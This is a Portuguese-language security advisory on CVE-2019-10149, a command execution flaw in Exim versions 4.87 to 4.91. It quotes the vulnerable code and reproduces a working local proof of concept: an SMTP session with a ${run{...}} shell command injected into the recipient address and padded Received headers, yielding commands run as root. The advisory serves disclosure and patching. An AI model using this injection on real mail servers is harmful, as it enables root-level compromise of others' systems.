ASA-2019-00320 – Exim: Execução remota de comandos (RCE) via endereço do destinatário


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00320

Identificador(es)

ASA-2019-00320, CVE-2019-10149

Título

Execução remota de comandos (RCE) via endereço do destinatário

Fabricante(s)

The Exim Maintainers

Produto(s)

Exim

Versão(ões) afetada(s)

Exim versões de 4.87 até 4.91

Versão(ões) corrigida(s)

Exim versão 4.92

Prova de conceito

Desconhecido

Descrição

Uma falha foi encontrada no modo como exim validava  o endereço do destinatário. Um atacante remoto pode usar essa falha para executar comandos arbitrários no servidor exim com as permissões do usuário que está executando o aplicativo.

Detalhes técnicos

O código vulnerável está localizado em deliver_message():

6122 #ifndef DISABLE_EVENT
6123 if (process_recipients != RECIP_ACCEPT)
6124 {
6125 uschar * save_local = deliver_localpart;
6126 const uschar * save_domain = deliver_domain;
6127
6128 deliver_localpart = expand_string(
6129 string_sprintf("${local_part:%s}", new->address));
6130 deliver_domain = expand_string(
6131 string_sprintf("${domain:%s}", new->address));
6132
6133 (void) event_raise(event_action,
6134 US"msg:fail:internal", new->message);
6135
6136 deliver_localpart = save_local;
6137 deliver_domain = save_domain;
6138 }
6139 #endif

Como expand_string() reconhece o item de expansão “${run{<command> <args>}}”, e como new->address é o destinatário do email que está sendo entregue, um atacante local pode simplesmente enviar um email para “${run{…}}@localhost” (onde “localhost” é um dos local_domains do Exim) e executar comandos arbitrários, como root (o deliver_drop_privilege é falso, por padrão):

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

Neste exemplo

– enviamos mais que o padrão received_headers_max (30, por padrão) “Received:” para o servidor de email, para definir process_recipients para RECIP_FAIL_LOOP e, portanto, executar o código vulnerável;

– nós escapamos caracteres inválidos no endereço do destinatário com barras invertidas, que são convenientemente interpretados por expand_string() (em expand_string_internal() e transport_set_up_command()).

Créditos

Qualys Research Labs

Referência(s)

CVE-2019-10149: Exim 4.87 to 4.91: possible remote exploit
https://seclists.org/oss-sec/2019/q2/140

CVE-2019-10149 Exim 4.87 to 4.91
https://www.exim.org/static/doc/security/CVE-2019-10149.txt

Fix CVE-2019-10149
https://git.exim.org/exim.git/commit/d740d2111f189760593a303124ff6b9b1f83453d

Exim CVE-2019-10149, how to protect yourself
https://blog.cpanel.com/exim-cve-2019-10149-protect-yourself/

Qualys Security Advisory – The Return of the WIZard: RCE in Exim (CVE-2019-10149)
https://seclists.org/oss-sec/2019/q2/153

CVE-2019-10149
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10149

CVE-2019-10149
https://nvd.nist.gov/vuln/detail/CVE-2019-10149

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 8 junho 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.